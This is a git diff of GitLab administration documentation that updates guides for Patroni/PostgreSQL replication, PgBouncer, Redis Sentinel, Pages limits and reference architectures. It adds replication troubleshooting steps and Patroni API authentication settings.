+[disabled by default for API-based configuration](#jailing-mechanism-disabled-by-default-for-api-based-configuration).
+
WARNING:
As the last resort you can temporarily enable legacy storage and configuration mechanisms. Support for them [will be removed in GitLab 14.3](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/6166), so GitLab Pages will stop working if don't resolve the underlying issue.
diff --git a/doc/administration/pages/source.md b/doc/administration/pages/source.md
index f1c3b515f68..4aaf430db97 100644
--- a/doc/administration/pages/source.md
+++ b/doc/administration/pages/source.md
@@ -61,7 +61,7 @@ Before proceeding with the Pages configuration, make sure that:
Pages artifacts.
1. (Optional) You have a **wildcard certificate** for the Pages domain if you
decide to serve Pages (`*.example.io`) under HTTPS.
-1. (Optional but recommended) You have configured and enabled the [shared runners](../../ci/runners/README.md)
+1. (Optional but recommended) You have configured and enabled the [shared runners](../../ci/runners/index.md)
so that your users don't have to bring their own.
### DNS configuration
@@ -443,9 +443,14 @@ are stored.
## Set maximum Pages size
-The maximum size of the unpacked archive per project can be configured in
-**Admin Area > Settings > Preferences > Pages**, in **Maximum size of pages (MB)**.
-The default is 100MB.
+The default for the maximum size of unpacked archives per project is 100 MB.
+
+To change this value:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > Preferences**.
+1. Expand **Pages**.
+1. Update the value for **Maximum size of pages (MB)**.
## Backup
diff --git a/doc/administration/polling.md b/doc/administration/polling.md
index d3f558eeaaa..ec5d6cd45d8 100644
--- a/doc/administration/polling.md
+++ b/doc/administration/polling.md
@@ -7,7 +7,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Polling configuration **(FREE SELF)**
The GitLab UI polls for updates for different resources (issue notes, issue
-titles, pipeline statuses, etc.) on a schedule appropriate to the resource.
+titles, pipeline statuses, and so on) on a schedule appropriate to the resource.
To configure the polling interval multiplier:
diff --git a/doc/administration/postgresql/pgbouncer.md b/doc/administration/postgresql/pgbouncer.md
index e481fcb71f4..4f9056b9b50 100644
--- a/doc/administration/postgresql/pgbouncer.md
+++ b/doc/administration/postgresql/pgbouncer.md
@@ -52,6 +52,20 @@ This content has been moved to a [new location](replication_and_failover.md#conf
}
```
+ You can pass additional configuration parameters per database, for example:
+
+ ```ruby
+ pgbouncer['databases'] = {
+ gitlabhq_production: {
+ ...
+ pool_mode: 'transaction'
+ }
+ }
+ ```
+
+ Use these parameters with caution. For the complete list of parameters refer to the
+ [PgBouncer documentation](https://www.pgbouncer.org/config.html#section-databases).
+
1. Run `gitlab-ctl reconfigure`
1. On the node running Puma, make sure the following is set in `/etc/gitlab/gitlab.rb`
diff --git a/doc/administration/postgresql/replication_and_failover.md b/doc/administration/postgresql/replication_and_failover.md
index b6d2e36851d..d1dd233f08b 100644
--- a/doc/administration/postgresql/replication_and_failover.md
+++ b/doc/administration/postgresql/replication_and_failover.md
@@ -97,8 +97,8 @@ This is why you will need:
- IP address of each nodes network interface. This can be set to `0.0.0.0` to
listen on all interfaces. It cannot be set to the loopback address `127.0.0.1`.
-- Network Address. This can be in subnet (i.e. `192.168.0.0/255.255.255.0`)
- or CIDR (i.e. `192.168.0.0/24`) form.
+- Network Address. This can be in subnet (that is, `192.168.0.0/255.255.255.0`)
+ or CIDR (that is, `192.168.0.0/24`) form.
#### Consul information
@@ -157,6 +157,13 @@ We will need the following password information for the application's database u
sudo gitlab-ctl pg-password-md5 POSTGRESQL_USERNAME
```
+#### Patroni information
+
+We will need the following password information for the Patroni API:
+
+- `PATRONI_API_USERNAME`. A username for basic auth to the API
+- `PATRONI_API_PASSWORD`. A password for basic auth to the API
+
#### PgBouncer information
When using default setup, minimum configuration requires:
@@ -236,6 +243,11 @@ postgresql['sql_replication_password'] = 'POSTGRESQL_REPLICATION_PASSWORD_HASH'
# Replace POSTGRESQL_PASSWORD_HASH with a generated md5 value
postgresql['sql_user_password'] = 'POSTGRESQL_PASSWORD_HASH'
+# Replace PATRONI_API_USERNAME with a username for Patroni Rest API calls (use the same username in all nodes)
+patroni['username'] = 'PATRONI_API_USERNAME'
+# Replace PATRONI_API_PASSWORD with a password for Patroni Rest API calls (use the same password in all nodes)
+patroni['password'] = 'PATRONI_API_PASSWORD'
+
# Sets `max_replication_slots` to double the number of database nodes.
# Patroni uses one extra slot per node when initiating the replication.
patroni['postgresql']['max_replication_slots'] = X
@@ -246,7 +258,7 @@ patroni['postgresql']['max_replication_slots'] = X
patroni['postgresql']['max_wal_senders'] = X+1
# Replace XXX.XXX.XXX.XXX/YY with Network Address
-postgresql['trust_auth_cidr_addresses'] = %w(XXX.XXX.XXX.XXX/YY)
+postgresql['trust_auth_cidr_addresses'] = %w(XXX.XXX.XXX.XXX/YY 127.0.0.1/32)
# Replace placeholders:
#
@@ -259,8 +271,8 @@ consul['configuration'] = {
# END user configuration
```
-You do not need an additional or different configuration for replica nodes. As a matter of fact, you don't have to have
-a predetermined primary node. Therefore all database nodes use the same configuration.
+All database nodes use the same configuration. The leader node is not determined in configuration,
+and there is no additional or different configuration for either leader or replica nodes.
Once the configuration of a node is done, you must [reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure)
on each node for the changes to take effect.
@@ -555,10 +567,12 @@ gitlab_rails['auto_migrate'] = false
postgresql['pgbouncer_user_password'] = '771a8625958a529132abe6f1a4acb19c'
postgresql['sql_user_password'] = '450409b85a0223a214b5fb1484f34d0f'
+patroni['username'] = 'PATRONI_API_USERNAME'
+patroni['password'] = 'PATRONI_API_PASSWORD'
patroni['postgresql']['max_replication_slots'] = 6
patroni['postgresql']['max_wal_senders'] = 7
-postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/16)
+postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/16 127.0.0.1/32)
# Configure the Consul agent
consul['services'] = %w(postgresql)
@@ -642,12 +656,15 @@ postgresql['sql_user_password'] = '450409b85a0223a214b5fb1484f34d0f'
# Patroni uses one extra slot per node when initiating the replication.
patroni['postgresql']['max_replication_slots'] = 6
+patroni['username'] = 'PATRONI_API_USERNAME'
+patroni['password'] = 'PATRONI_API_PASSWORD'
+
# Set `max_wal_senders` to one more than the number of replication slots in the cluster.
# This is used to prevent replication from using up all of the
# available database connections.
patroni['postgresql']['max_wal_senders'] = 7
-postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/16)
+postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/16 127.0.0.1/32)
consul['configuration'] = {
server: true,
@@ -721,6 +738,97 @@ functional or does not have a leader, Patroni and by extension PostgreSQL will n
API which can be accessed via its [default port](https://docs.gitlab.com/omnibus/package-information/defaults.html#patroni)
on each node.
+### Check replication status
+
+Run `gitlab-ctl patroni members` to query Patroni for a summary of the cluster status:
+
+```plaintext
++ Cluster: postgresql-ha (6970678148837286213) ------+---------+---------+----+-----------+
+| Member | Host | Role | State | TL | Lag in MB |
++-------------------------------------+--------------+---------+---------+----+-----------+
+| gitlab-database-1.example.com | 172.18.0.111 | Replica | running | 5 | 0 |
+| gitlab-database-2.example.com | 172.18.0.112 | Replica | running | 5 | 100 |
+| gitlab-database-3.example.com | 172.18.0.113 | Leader | running | 5 | |
++-------------------------------------+--------------+---------+---------+----+-----------+
+```
+
+To verify the status of replication:
+
+```shell
+echo 'select * from pg_stat_wal_receiver\x\g\x \n select * from pg_stat_replication\x\g\x' | gitlab-psql
+```
+
+The same command can be run on all three database servers, and will return any information
+about replication available depending on the role the server is performing.
+
+The leader should return one record per replica:
+
+```sql
+-[ RECORD 1 ]----+------------------------------
+pid | 371
+usesysid | 16384
+usename | gitlab_replicator
+application_name | gitlab-database-1.example.com
+client_addr | 172.18.0.111
+client_hostname |
+client_port | 42900
+backend_start | 2021-06-14 08:01:59.580341+00
+backend_xmin |
+state | streaming
+sent_lsn | 0/EA13220
+write_lsn | 0/EA13220
+flush_lsn | 0/EA13220
+replay_lsn | 0/EA13220
+write_lag |
+flush_lag |
+replay_lag |
+sync_priority | 0
+sync_state | async
+reply_time | 2021-06-18 19:17:14.915419+00
+```
+
+Investigate further if:
+
+- There are missing or extra records.
+- `reply_time` is not current.
+
+The `lsn` fields relate to which write-ahead-log segments have been replicated.
+Run the following on the leader to find out the current LSN:
+
+```shell
+echo 'SELECT pg_current_wal_lsn();' | gitlab-psql
+```
+
+If a replica is not in sync, `gitlab-ctl patroni members` indicates the volume
+of missing data, and the `lag` fields indicate the elapsed time.
+
+Read more about the data returned by the leader
+[in the PostgreSQL documentation](https://www.postgresql.org/docs/12/monitoring-stats.html#PG-STAT-REPLICATION-VIEW),
+including other values for the `state` field.
+
+The replicas should return:
+
+```sql
+-[ RECORD 1 ]---------+-------------------------------------------------------------------------------------------------
+pid | 391
+status | streaming
+receive_start_lsn | 0/D000000
+receive_start_tli | 5
+received_lsn | 0/EA13220
+received_tli | 5
+last_msg_send_time | 2021-06-18 19:16:54.807375+00
+last_msg_receipt_time | 2021-06-18 19:16:54.807512+00
+latest_end_lsn | 0/EA13220
+latest_end_time | 2021-06-18 19:07:23.844879+00
+slot_name | gitlab-database-1.example.com
+sender_host | 172.18.0.113
+sender_port | 5432
+conninfo | user=gitlab_replicator host=172.18.0.113 port=5432 application_name=gitlab-database-1.example.com
+```
+
+Read more about the data returned by the replica
+[in the PostgreSQL documentation](https://www.postgresql.org/docs/12/monitoring-stats.html#PG-STAT-WAL-RECEIVER-VIEW).
+
### Selecting the appropriate Patroni replication method
[Review the Patroni documentation carefully](https://patroni.readthedocs.io/en/latest/SETTINGS.html#postgresql)
@@ -1017,6 +1125,134 @@ postgresql['trust_auth_cidr_addresses'] = %w(123.123.123.123/32 <other_cidrs>)
[Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+### Reinitialize a replica
+
+If replication is not occurring, it may be necessary to reinitialize a replica.
+
+1. On any server in the cluster, determine the Cluster and Member names,
+ and check the replication lag by running `gitlab-ctl patroni members`. Here is an example:
+
+ ```plaintext
+ + Cluster: postgresql-ha (6970678148837286213) ------+---------+---------+----+-----------+
+ | Member | Host | Role | State | TL | Lag in MB |
+ +-------------------------------------+--------------+---------+---------+----+-----------+
+ | gitlab-database-1.example.com | 172.18.0.111 | Replica | running | 5 | 0 |
+ | gitlab-database-2.example.com | 172.18.0.112 | Replica | running | 5 | 100 |
+ | gitlab-database-3.example.com | 172.18.0.113 | Leader | running | 5 | |
+ +-------------------------------------+--------------+---------+---------+----+-----------+
+ ```
+
+1. Reinitialize the affected replica server:
+
+ ```plaintext
+ gitlab-ctl patroni reinitialize-replica postgresql-ha gitlab-database-2.example.com
+ ```
+
+### Reset the Patroni state in Consul
+
+WARNING:
+This is a destructive process and may lead the cluster into a bad state. Make sure that you have a healthy backup before running this process.
+
+As a last resort, if your Patroni cluster is in an unknown/bad state and no node can start, you can
+reset the Patroni state in Consul completely, resulting in a reinitialized Patroni cluster when
+the first Patroni node starts.
+
+To reset the Patroni state in Consul:
+
+1. Take note of the Patroni node that was the leader, or that the application thinks is the current leader, if the current state shows more than one, or none. One way to do this is to look on the PgBouncer nodes in `/var/opt/gitlab/consul/databases.ini`, which contains the hostname of the current leader.
+1. Stop Patroni on all nodes:
+
+ ```shell
+ sudo gitlab-ctl stop patroni
+ ```
+
+1. Reset the state in Consul:
+
+ ```shell
+ /opt/gitlab/embedded/bin/consul kv delete -recurse /service/postgresql-ha/
+ ```
+
+1. Start one Patroni node, which will initialize the Patroni cluster and be elected as a leader.
+ It's highly recommended to start the previous leader (noted in the first step),
+ in order to not lose existing writes that may have not been replicated because
+ of the broken cluster state:
+
+ ```shell
+ sudo gitlab-ctl start patroni
+ ```
+
+1. Start all other Patroni nodes that will join the Patroni cluster as replicas:
+
+ ```shell
+ sudo gitlab-ctl start patroni
+ ```
+
+If you are still seeing issues, the next step is restoring the last healthy backup.
+
+### Errors in the Patroni log about a `pg_hba.conf` entry for `127.0.0.1`
+
+The following log entry in the Patroni log indicates the replication is not working
+and a configuration change is needed:
+
+```plaintext
+FATAL: no pg_hba.conf entry for replication connection from host "127.0.0.1", user "gitlab_replicator"
+```
+
+To fix the problem, ensure the loopback interface is included in the CIDR addresses list:
+
+1. Edit `/etc/gitlab/gitlab.rb`:
+
+ ```ruby
+ postgresql['trust_auth_cidr_addresses'] = %w(<other_cidrs> 127.0.0.1/32)
+ ```
+
+1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+1. Check that [all the replicas are synchronized](#check-replication-status)
+
+### Errors in Patroni logs: the requested start point is ahead of the WAL flush position
+
+This error indicates that the database is not replicating:
+
+```plaintext
+FATAL: could not receive data from WAL stream: ERROR: requested starting point 0/5000000 is ahead of the WAL flush position of this server 0/4000388
+```
+
+This example error is from a replica that was initially misconfigured, and had never replicated.
+
+Fix it [by reinitializing the replica](#reinitialize-a-replica).
+
+### Patroni fails to start with `MemoryError`
+
+Patroni may fail to start, logging an error and stack trace:
+
+```plaintext
+MemoryError
+Traceback (most recent call last):
+ File "/opt/gitlab/embedded/bin/patroni", line 8, in <module>
+ sys.exit(main())
+[..]
+ File "/opt/gitlab/embedded/lib/python3.7/ctypes/__init__.py", line 273, in _reset_cache
+ CFUNCTYPE(c_int)(lambda: None)
+```
+
+If the stack trace ends with `CFUNCTYPE(c_int)(lambda: None)`, this code triggers `MemoryError`
+if the Linux server has been hardened for security.
+
+The code causes Python to write temporary executable files, and if it cannot find a filesystem
+in which to do this, for example if `noexec` is set on the `/tmp` filesystem, it fails with
+`MemoryError` ([read more in the issue](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/6184)).
+
+Workarounds:
+
+- Remove `noexec` from the mount options for filesystems like `/tmp` and `/var/tmp`.
+- If set to enforcing, SELinux may also prevent these operations. Verify the issue is fixed by setting
+ SELinux to permissive.
+
+Omnibus GitLab has shipped with Patroni since 13.1 along with a build of Python 3.7.
+Workarounds should stop being required when GitLab 14.x starts shipping with
+[a later version of Python](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/6164) as
+the code which causes this was removed from Python 3.8.
+
### Issues with other components
If you're running into an issue with a component not outlined here, be sure to check the troubleshooting section of their specific documentation page:
diff --git a/doc/administration/raketasks/check.md b/doc/administration/raketasks/check.md
index f7c91aa6b47..bcc2f838565 100644
--- a/doc/administration/raketasks/check.md
+++ b/doc/administration/raketasks/check.md
@@ -278,11 +278,11 @@ To delete these references to missing local artifacts (`job.log` files):
puts "#{artifact.id} #{artifact.file.path} is missing." ### Allow verification before destroy
# artifact.destroy! ### Uncomment to actually destroy
end
- puts "Count of identified/destroyed invalid references: #{artifacts_deleted}"
+ puts "Count of identified/destroyed invalid references: #{artifacts_deleted}"
```
### Delete references to missing LFS objects
If `gitlab-rake gitlab:lfs:check VERBOSE=1` detects LFS objects that exist in the database
-but not on disk, [follow the procedure in the LFS documentation](../../topics/git/lfs/index.md#missing-lfs-objects)
+but not on disk, [follow the procedure in the LFS documentation](../lfs/index.md#missing-lfs-objects)
to remove the database entries.
diff --git a/doc/administration/raketasks/maintenance.md b/doc/administration/raketasks/maintenance.md
index fa95f38f37c..5ddab999efe 100644
--- a/doc/administration/raketasks/maintenance.md
+++ b/doc/administration/raketasks/maintenance.md
@@ -67,7 +67,7 @@ GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
## Show GitLab license information **(PREMIUM SELF)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20501) in GitLab 12.6.
-> - [Moved](../../subscriptions/bronze_starter.md) to GitLab Premium in 13.9.
+> - Moved to GitLab Premium in 13.9.
This command shows information about your [GitLab license](../../user/admin_area/license.md) and
how many seats are used. It is only available on GitLab Enterprise
@@ -330,7 +330,7 @@ migrations are completed (have an `up` status).
## Rebuild database indexes
WARNING:
-This is an experimental feature that isn't enabled by default.
+This is an experimental feature that isn't enabled by default. It requires PostgreSQL 12 or later.
Database indexes can be rebuilt regularly to reclaim space and maintain healthy levels of index bloat over time.
@@ -348,7 +348,6 @@ sudo gitlab-rake gitlab:db:reindex['public.a_specific_index']
The following index types are not supported:
-1. Unique and primary key indexes
1. Indexes used for constraint exclusion
1. Partitioned indexes
1. Expression indexes
diff --git a/doc/administration/redis/replication_and_failover.md b/doc/administration/redis/replication_and_failover.md
index 9fde91903e8..37d586b1d32 100644
--- a/doc/administration/redis/replication_and_failover.md
+++ b/doc/administration/redis/replication_and_failover.md
@@ -646,6 +646,7 @@ persistence classes.
| `queues` | Store Sidekiq background jobs. |
| `shared_state` | Store session-related and other persistent data. |
| `actioncable` | Pub/Sub queue backend for ActionCable. |
+| `trace_chunks` | Store [CI trace chunks](../job_logs.md#enable-or-disable-incremental-logging) data. |
To make this work with Sentinel:
@@ -657,6 +658,7 @@ To make this work with Sentinel:
gitlab_rails['redis_queues_instance'] = REDIS_QUEUES_URL
gitlab_rails['redis_shared_state_instance'] = REDIS_SHARED_STATE_URL
gitlab_rails['redis_actioncable_instance'] = REDIS_ACTIONCABLE_URL
+ gitlab_rails['redis_trace_chunks_instance'] = REDIS_TRACE_CHUNKS_URL
# Configure the Sentinels
gitlab_rails['redis_cache_sentinels'] = [
@@ -675,6 +677,10 @@ To make this work with Sentinel:
{ host: ACTIONCABLE_SENTINEL_HOST, port: 26379 },
{ host: ACTIONCABLE_SENTINEL_HOST2, port: 26379 }
]
+ gitlab_rails['redis_trace_chunks_sentinels'] = [
+ { host: TRACE_CHUNKS_SENTINEL_HOST, port: 26379 },
+ { host: TRACE_CHUNKS_SENTINEL_HOST2, port: 26379 }
+ ]
```
Note that:
diff --git a/doc/administration/redis/replication_and_failover_external.md b/doc/administration/redis/replication_and_failover_external.md
index 141da2f79ec..65ec8eb50e5 100644
--- a/doc/administration/redis/replication_and_failover_external.md
+++ b/doc/administration/redis/replication_and_failover_external.md
@@ -73,7 +73,7 @@ requirements:
instead of a socket. To configure Redis to use TCP connections you need to
define both `bind` and `port` in the Redis configuration file. You can bind to all
interfaces (`0.0.0.0`) or specify the IP of the desired interface
- (e.g., one from an internal network).
+ (for example, one from an internal network).
- Since Redis 3.2, you must define a password to receive external connections
(`requirepass`).
- If you are using Redis with Sentinel, you also need to define the same
diff --git a/doc/administration/reference_architectures/10k_users.md b/doc/administration/reference_architectures/10k_users.md
index 4627b27a45e..1fc3483fbd4 100644
--- a/doc/administration/reference_architectures/10k_users.md
+++ b/doc/administration/reference_architectures/10k_users.md
@@ -94,7 +94,6 @@ cloud "**Object Storage**" as object_storage #white
elb -[#6a9be7]-> gitlab
elb -[#6a9be7]--> monitor
-gitlab -[#32CD32]> sidekiq
gitlab -[#32CD32]--> ilb
gitlab -[#32CD32]-> object_storage
gitlab -[#32CD32]---> redis
@@ -598,8 +597,12 @@ in the second step, do not supply the `EXTERNAL_URL` value.
# Replace POSTGRESQL_PASSWORD_HASH with a generated md5 value
postgresql['sql_user_password'] = '<postgresql_password_hash>'
+ # Set up basic authentication for the Patroni API (use the same username/password in all nodes).
+ patroni['username'] = '<patroni_api_username>'
+ patroni['password'] = '<patroni_api_password>'
+
# Replace XXX.XXX.XXX.XXX/YY with Network Address
- postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/24)
+ postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/24 127.0.0.1/32)
# Set the network addresses that the exporters will listen on for monitoring
node_exporter['listen_address'] = '0.0.0.0:9100'
@@ -802,7 +805,7 @@ Managed Redis from cloud providers (such as AWS ElastiCache) will work. If these
services support high availability, be sure it _isn't_ of the Redis Cluster type.
Redis version 5.0 or higher is required, which is included with Omnibus GitLab
packages starting with GitLab 13.0. Older Redis versions don't support an
-optional count argument to SPOP, which is required for [Merge Trains](../../ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md).
+optional count argument to SPOP, which is required for [Merge Trains](../../ci/pipelines/merge_trains.md).
Note the Redis node's IP address or hostname, port, and password (if required).
These will be necessary later when configuring the [GitLab application servers](#configure-gitlab-rails).
@@ -1403,7 +1406,7 @@ in the second step, do not supply the `EXTERNAL_URL` value.
postgresql['sql_user_password'] = "<praefect_postgresql_password_hash>"
# Replace XXX.XXX.XXX.XXX/YY with Network Address
- postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/24)
+ postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/24 127.0.0.1/32)
# Set the network addresses that the exporters will listen on for monitoring
node_exporter['listen_address'] = '0.0.0.0:9100'
@@ -1605,7 +1608,7 @@ To configure the Praefect nodes, on each one:
1. Praefect requires to run some database migrations, much like the main GitLab application. For this
you should select **one Praefect node only to run the migrations**, AKA the _Deploy Node_. This node
must be configured first before the others as follows:
-
+
1. In the `/etc/gitlab/gitlab.rb` file, change the `praefect['auto_migrate']` setting value from `false` to `true`
1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run:
@@ -1613,7 +1616,7 @@ To configure the Praefect nodes, on each one:
```shell
sudo touch /etc/gitlab/skip-auto-reconfigure
```
-
+
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect and
to run the Praefect database migrations.
@@ -1681,7 +1684,7 @@ On each node:
# balancer.
gitlab_rails['internal_api_url'] = 'https://gitlab.example.com'
- # Gitaly
+ # Gitaly
gitaly['enable'] = true
# Make Gitaly accept connections on all network interfaces. You must use
@@ -2344,10 +2347,13 @@ to use GitLab Pages, this currently [requires NFS](troubleshooting.md#gitlab-pag
See how to [configure NFS](../nfs.md).
WARNING:
-From GitLab 14.0, enhancements and bug fixes for NFS for Git repositories will no longer be
-considered and customer technical support will be considered out of scope.
-[Read more about Gitaly and NFS](../gitaly/index.md#nfs-deprecation-notice) and
-[the correct mount options to use](../nfs.md#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss).
+Engineering support for NFS for Git repositories is deprecated. Technical support is planned to be
+unavailable from GitLab 15.0. No further enhancements are planned for this feature.
+
+Read:
+
+- The [Gitaly and NFS deprecation notice](../gitaly/index.md#nfs-deprecation-notice).
+- About the [correct mount options to use](../nfs.md#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss).
<div align="right">
<a type="button" class="btn btn-default" href="#setup-components">
@@ -2365,9 +2371,9 @@ the following other supporting services are supported: NGINX, Task Runner, Migra
Prometheus and Grafana.
Hybrid installations leverage the benefits of both cloud native and traditional
-Kubernetes, you can reap certain cloud native workload management benefits while
-the others are deployed in compute VMs with Omnibus as described above in this
-page.
+compute deployments. With this, _stateless_ components can benefit from cloud native
+workload management benefits while _stateful_ components are deployed in compute VMs
+with Omnibus to benefit from increased permanence.
NOTE:
This is an **advanced** setup. Running services in Kubernetes is well known
@@ -2389,7 +2395,7 @@ future with further specific cloud provider details.
|-------------------------------------------------------|----------|-------------------------|------------------|-----------------------------|
| Webservice | 4 | 32 vCPU, 28.8 GB memory | `n1-highcpu-32` | 127.5 vCPU, 118 GB memory |
| Sidekiq | 4 | 4 vCPU, 15 GB memory | `n1-standard-4` | 15.5 vCPU, 50 GB memory |
-| Supporting services such as NGINX, Prometheus, etc. | 2 | 4 vCPU, 15 GB memory | `n1-standard-4` | 7.75 vCPU, 25 GB memory |
+| Supporting services such as NGINX or Prometheus | 2 | 4 vCPU, 15 GB memory | `n1-standard-4` | 7.75 vCPU, 25 GB memory |
<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix -->
<!-- markdownlint-disable MD029 -->
@@ -2478,7 +2484,6 @@ elb -[#6a9be7]-> gitlab
elb -[#6a9be7]-> monitor
elb -[hidden]-> support
-gitlab -[#32CD32]> sidekiq
gitlab -[#32CD32]--> ilb
gitlab -[#32CD32]-> object_storage
gitlab -[#32CD32]---> redis
@@ -2532,7 +2537,7 @@ For further information on resource usage, see the [Webservice resources](https:
Sidekiq pods should generally have 1 vCPU and 2 GB of memory.
[The provided starting point](#cluster-topology) allows the deployment of up to
-16 Sidekiq pods. Expand available resources using the 1 vCPU to 2GB memory
+14 Sidekiq pods. Expand available resources using the 1 vCPU to 2GB memory
ratio for each additional pod.
For further information on resource usage, see the [Sidekiq resources](https://docs.gitlab.com/charts/charts/gitlab/sidekiq/#resources).
diff --git a/doc/administration/reference_architectures/25k_users.md b/doc/administration/reference_architectures/25k_users.md
index 1f72c45c2b7..e45a8f6963c 100644
--- a/doc/administration/reference_architectures/25k_users.md
+++ b/doc/administration/reference_architectures/25k_users.md
@@ -19,7 +19,7 @@ full list of reference architectures, see
|------------------------------------------|-------------|-------------------------|------------------|--------------|-----------|
| External load balancing node(3) | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` |
| Consul(1) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
-| PostgreSQL(1) | 3 | 16 vCPU, 60 GB memory | `n1-standard-1` | `m5.4xlarge` | `D16s v3` |
+| PostgreSQL(1) | 3 | 16 vCPU, 60 GB memory | `n1-standard-16` | `m5.4xlarge` | `D16s v3` |
| PgBouncer(1) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
| Internal load balancing node(3) | 1 | 4 vCPU, 3.6GB memory | `n1-highcpu-4` | `c5.large` | `F2s v2` |
| Redis - Cache(2) | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` |
@@ -94,7 +94,6 @@ cloud "**Object Storage**" as object_storage #white
elb -[#6a9be7]-> gitlab
elb -[#6a9be7]--> monitor
-gitlab -[#32CD32]> sidekiq
gitlab -[#32CD32]--> ilb
gitlab -[#32CD32]-> object_storage
gitlab -[#32CD32]---> redis
@@ -600,8 +599,12 @@ in the second step, do not supply the `EXTERNAL_URL` value.
# Replace POSTGRESQL_PASSWORD_HASH with a generated md5 value
postgresql['sql_user_password'] = '<postgresql_password_hash>'
+ # Set up basic authentication for the Patroni API (use the same username/password in all nodes).
+ patroni['username'] = '<patroni_api_username>'
+ patroni['password'] = '<patroni_api_password>'
+
# Replace XXX.XXX.XXX.XXX/YY with Network Address
- postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/24)
+ postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/24 127.0.0.1/32)
# Set the network addresses that the exporters will listen on for monitoring
node_exporter['listen_address'] = '0.0.0.0:9100'
@@ -804,7 +807,7 @@ Managed Redis from cloud providers (such as AWS ElastiCache) will work. If these
services support high availability, be sure it _isn't_ of the Redis Cluster type.
Redis version 5.0 or higher is required, which is included with Omnibus GitLab
packages starting with GitLab 13.0. Older Redis versions don't support an
-optional count argument to SPOP, which is required for [Merge Trains](../../ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md).
+optional count argument to SPOP, which is required for [Merge Trains](../../ci/pipelines/merge_trains.md).
Note the Redis node's IP address or hostname, port, and password (if required).
These will be necessary later when configuring the [GitLab application servers](#configure-gitlab-rails).
@@ -863,7 +866,7 @@ a node and change its status from primary to replica (and vice versa).
redis_exporter['flags'] = {
'redis.addr' => 'redis://10.6.0.51:6379',
'redis.password' => 'redis-password-goes-here',
- }
+ }
# Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
@@ -1421,7 +1424,7 @@ in the second step, do not supply the `EXTERNAL_URL` value.
postgresql['sql_user_password'] = "<praefect_postgresql_password_hash>"
# Replace XXX.XXX.XXX.XXX/YY with Network Address
- postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/24)
+ postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/24 127.0.0.1/32)
# Set the network addresses that the exporters will listen on for monitoring
node_exporter['listen_address'] = '0.0.0.0:9100'
@@ -1623,7 +1626,7 @@ the file of the same name on this server. If this is the first Omnibus node you
1. Praefect requires to run some database migrations, much like the main GitLab application. For this
you should select **one Praefect node only to run the migrations**, AKA the _Deploy Node_. This node
must be configured first before the others as follows:
-
+
1. In the `/etc/gitlab/gitlab.rb` file, change the `praefect['auto_migrate']` setting value from `false` to `true`
1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run:
@@ -1631,7 +1634,7 @@ the file of the same name on this server. If this is the first Omnibus node you
```shell
sudo touch /etc/gitlab/skip-auto-reconfigure
```
-
+
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect and
to run the Praefect database migrations.
@@ -1699,7 +1702,7 @@ On each node:
# balancer.
gitlab_rails['internal_api_url'] = 'https://gitlab.example.com'
- # Gitaly
+ # Gitaly
gitaly['enable'] = true
# Make Gitaly accept connections on all network interfaces. You must use
@@ -2362,10 +2365,194 @@ to use GitLab Pages, this currently [requires NFS](troubleshooting.md#gitlab-pag
See how to [configure NFS](../nfs.md).
WARNING:
-From GitLab 14.0, enhancements and bug fixes for NFS for Git repositories will no longer be
-considered and customer technical support will be considered out of scope.
-[Read more about Gitaly and NFS](../gitaly/index.md#nfs-deprecation-notice) and
-[the correct mount options to use](../nfs.md#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss).
+Engineering support for NFS for Git repositories is deprecated. Technical support is planned to be
+unavailable from GitLab 15.0. No further enhancements are planned for this feature.
+
+Read:
+
+- The [Gitaly and NFS deprecation notice](../gitaly/index.md#nfs-deprecation-notice).
+- About the [correct mount options to use](../nfs.md#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss).
+
+## Cloud Native Hybrid reference architecture with Helm Charts (alternative)
+
+As an alternative approach, you can also run select components of GitLab as Cloud Native
+in Kubernetes via our official [Helm Charts](https://docs.gitlab.com/charts/).
+In this setup, we support running the equivalent of GitLab Rails and Sidekiq nodes
+in a Kubernetes cluster, named Webservice and Sidekiq respectively. In addition,
+the following other supporting services are supported: NGINX, Task Runner, Migrations,
